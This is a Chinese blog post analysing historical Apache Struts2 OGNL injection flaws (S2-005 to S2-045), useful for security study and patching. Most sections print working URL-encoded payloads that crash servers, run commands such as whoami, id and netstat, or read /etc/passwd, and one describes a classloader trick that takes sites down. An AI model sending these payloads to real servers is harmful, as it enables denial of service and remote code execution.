java struts2 漏洞_Struts2漏洞简述

java struts2 漏洞_Struts2漏洞简述S2-005漏洞S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。Payload如下:http://www.xxxx.com/aaa.action…

大家好,又见面了,我是你们的朋友全栈君。

S2-005漏洞

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。

S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

Payload如下:

http://www.xxxx.com/aaa.action?(‘\u0023_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true&(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

提交上述URL,就会导致服务器down掉。把编码转换过来为下面三个步骤:

(1)?(‘#_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true

(2)&(aaa)((‘#context[‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))

(3)&(asdf)((‘#rt.exit(1)’)(#rt=@java.lang.Runtime@getRuntime()))=1

第一步将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个”(meh)”呢?其实是为了遵守Ognl语法树的规则,这个后面再说。第一步完成后,就可以执行静态方法了。

第二步将上下文中的xwork.MethodAccessor.denyMethodExecution 设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。

第三步就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。

S2-009漏洞

Struts2对s2-003的修复是禁止的#,因此s2-005正在使用该代码\u0023或\43绕过禁止; 然后禁止s2-005的修复\和其他阻止用户提交反斜杠的特殊符号。

但是,如果example在当前操作中接受参数,则此参数将发送到OGNL表达式。因此,我们可以将OGNL表达式代码放在example参数中然后执行它/helloword.acton?example=&(example)(‘xxx’)=1,然后绕过特殊字符的防御,例如#,\。

S2-013漏洞

漏洞触发:

由于官方没有发补丁,所以最新版本的struts2还是有漏洞的,可以下载最新:Apache Struts 2.3.14 GA的示例应用。

经过简单测试,就看到了想要的结果。

根据官方给的信息,问题出在a标签,所以写个jsp页面,内容如下:

| 1 | Click here. |

这个是struts2标签库的a标签,该标签会在页面上显示当前URL,当includeParams=all时,就会显示具体参数内容。

唯一需要解的迷,就是如何让参数内容作为OGNL表示试执行,但是这个迷未免太好猜了,我随手测试就出结果。

访问url:

就可以直接弹计算器,POC代码大家都有的,我只截个图:

75d3896c9b5f

image.png

S2-016漏洞

分析开源框架的漏洞还是从其源码入手,问题出在了DefaultActiionMapper上,这个类主要是用来处理一些灵活的URL调用,比如处理Action中动态调用方法的形式,如:

http://www.foo.com/bar/hello.action?user!add

foo!bar这种形式是动态的调用action中的方法,其中foo是action,bar是方法名,但是调用的前提是在struts.xml中事先进行配置。

当然这只是一种,这个类还有个重要的作用就是处理redirect、redirectAction、method、action

Payload:

127.0.0.1:8080/struts_hello/hello?redirect:

${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’).getWriter(),%23screen.println(%23d),%23screen.close()}

S2-019漏洞

POC:

?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

从url编码转化回来为:

?debug=command&expression=#a=(new java.lang.ProcessBuilder(‘id’)).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()

S2-020漏洞

绕过方式是:

http://localhost:8080/Struts2/test.action?class[“classLoader”][“resources”][“dirContext”][“docBase”]=xxxxx

补充:

1、高版本号须要用单引號’:

class[‘classLoader’][‘resources’][‘dirContext’][‘docBase’]

2、请勿任意尝试,漏洞利用代码会让对方站点挂掉

S2-032漏洞

此次漏洞存在于struts2的动态方法引用功能。只要在struts2配置文件中开启该功能,就可能被利用。

75d3896c9b5f

image.png

在配置了 Struts2 DMI 为 True 的情况下,可以使用 method: Action 前缀去调用声明为 public 的函数,DMI 的相关使用方法可参考官方介绍(Dynamic Method Invocation),这个 DMI 的调用特性其实一直存在,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。所以只要找到目标应用中有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面带上需要执行 OGNL 表达式即可。

比如这样的ognl 表达式: #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#f=@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]),#f.close&cmd=open /Applications/Calculator.app 通过反射调用(关于java的反射调用可以参考之前的一篇文章Link)Runtime类的exec方法进行命令执行,这里是打开计算器的操作。

S2-037漏洞

S2-037的漏洞利用思路建立在s2-033的基础只上,还是对method没有进行过滤导致的,漏洞影响Struts 2.3.20 – Struts 2.3.28.1版本,使用到REST插件的Struts2应用,会被攻击者实现远程代码执行攻击,struts2 历次的漏洞公告和详情官方都有专门的页面进行整理和汇总,可以从这个页面找到历次的struts2的漏洞。

2 struts2 s2-037漏洞详情分析

此次的s2-037是基于033的一个绕过,在033中,需要开启动态方法执行,也就是032的条件,同时还需要安装rest插件。而037中,不需要开启动态方法执行就能触发代码执行漏洞。

首先看看033触发过程

开启动态方法执行需要在struts.xml中配置,这和032没区别

75d3896c9b5f

image.png

在getMapping方法中,在处理动态代码执行过程中设置的属性没有做过滤

75d3896c9b5f

image.png

因为在uri中的!后面的属性加入到了mapping中,然后如果开启了动态代码执行,也就是allowDynamicMethodCalls开启,最后method会进入到com.opensymphony.xwork2.DefaultActionInvocation类的invokeAction方法,之后的就是跟032一样了,可以参考之前的我们分析struts2漏洞的文章。

接下来看看037怎么绕过开启动态方法,通杀所有rest插件的。

75d3896c9b5f

image.png

在调用完handleDynamicMethodInvocation(mapping, mapping.getName());后面又调用了

同时看到这里没有判断

所以这个地方不需要开启动态执行,同时也在这里给出了提示

75d3896c9b5f

image.png

这里加上了三目运算符才绕过测试结果如下:

75d3896c9b5f

image.png

可以看到成功执行了system命令。

Poc:

75d3896c9b5f

image.png

S2-045漏洞

漏洞分析

Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码通过http报文头部的Content-Type字段传递给存在漏洞的服务器,导致任意代码执行漏洞。

漏洞POC

75d3896c9b5f

image.png

漏洞验证

75d3896c9b5f

image.png

细节分析

It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

从官方的漏洞描述我们可以知道,这个漏洞是由于Strus2对错误消息处理出现了问题,通过Content-Type这个header头,注入OGNL语言,进而执行命令。

本文的分析是基于Struts 2.3.24版本。首先看一下POC,攻击指令通过”Content-Type”传递给存在漏洞的服务器,如下图所示:

75d3896c9b5f

image.png

在传入的参数中,通过#nike=’multipart/form-data’语句使得后台判断语句content_type.contains(“multipart/form-data”)判断结果为true,以便攻击代码得以传入。同时将攻击代码’cat /etc/passwd’赋值给#cmd参数。接下来通过(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})来判断目标主机的操作系统类型,并选择性的进行指令赋值,最终,通过如下图代码,将攻击指令执行:

75d3896c9b5f

image.png

下面先看一下命令执行注入点:

75d3896c9b5f

image.png

在JakartaMultiPartRequest.java 的buildErrorMessage函数中,这个函数里的localizedTextUtil.findText会执行OGNL表达式,从而导致命令执行,我们先看下findtext的定义:

https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/LocalizedTextUtil.html

75d3896c9b5f

image.png

接下来它被JakartaMultiPartRequest.java中的parse调用。Struts2的入口FilterDispatcher.java接下来执行doFilter函数,执行完一些过滤后进入prepareDispatcherAndWrapRequest函数,再执行dispatcher.wrapRequest进入request处理分支,下图就是prepareDispatcherAndWrapRequest的实现,该函数对方法进行了处理:

75d3896c9b5f

image.png

接着我们看dispatcher.wrapRequest,当Content-Type为multipart/form-data的时候会调用MultiPartRequestWrapper,这个是一个对各种不同上传方式的封装,其中就包含Jakarta等传输方式:

75d3896c9b5f

image.png

MultiPartRequestWrapper.java封装了parse函数:

75d3896c9b5f

image.png

我们来看下parse函数,如下图所示:

75d3896c9b5f

image

在parse函数中,当Content-Type格式不被识别时,出现异常,导致OGNL表达式被执行,这就是我们分析的最初的注入点。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/161674.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • Maven根据Profiled读取不同配置文件

    Maven根据Profiled读取不同配置文件 前言在日常开发中,我们大多都会有开发环境(dev)、测试环境(test)、生产环境(prod),不同环境的参数肯定不一样,我们需要在打包的时候,不同环境打不同当包,如果手动改,一方面效率低,容易出错,而且每次打包都改动,非常麻烦,所以Maven给我们提供了profile的配置。 正文Mavenresourcesplugin支持明确声明<directory>指定…

  • 由3个a,5个b,2个c构成的所有字符串_如何计算A且B的概率

    由3个a,5个b,2个c构成的所有字符串_如何计算A且B的概率7-3 A-B 本题要求你计算A−B。不过麻烦的是,A和B都是字符串 ——即从字符串A中把字符串B所包含的字符全删掉,剩下的字符组成的就是字符串A−B。输入格式: 输入在2行中先后给出字符串A和B。两字符串的长度都不超过10 ​4 ​​,并且保证每个字符串都是由可见的ASCII码和空白字符组成,最后以换行符结束。输出格式: 在一行中打印出A−B的结果字符串。输入样例: I love …

  • 从0到10W粉,这一年我在csdn的成长之路

    从0到10W粉,这一年我在csdn的成长之路凡心所向,素履可往

  • 项目活动图 – 举例说明

    项目活动图 – 举例说明关键路径:从开始到结束的所有路径中,时间最长的一条为关键路径。(特点:在关键路径上,所有任务的松弛时间都为0);松弛时间:第一种方法:最晚开始时间-最早开始时间;第二种方法:关键路径的总时间-包含该任务的任务路径花的时间;(前提条件:必须不影响该任务以后的任务路径)举例:关键路径:A-B-D-G-I-K-L=22由前向后推可得出…

  • MyCat读写分离

    MyCat读写分离

  • 为何asp.net2.0中 rendercontrol 对于有些服务器端的控件会不支持[通俗易懂]

    为何asp.net2.0中 rendercontrol 对于有些服务器端的控件会不支持[通俗易懂]比如报出rendercontrol必须放在具有runat=server这样的错误原因:http://topic.csdn.net/t/20051207/21/4444706.html解决方法:http://www.cnblogs.com/zhangronghua/archive/2008/11/07/951899.html

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号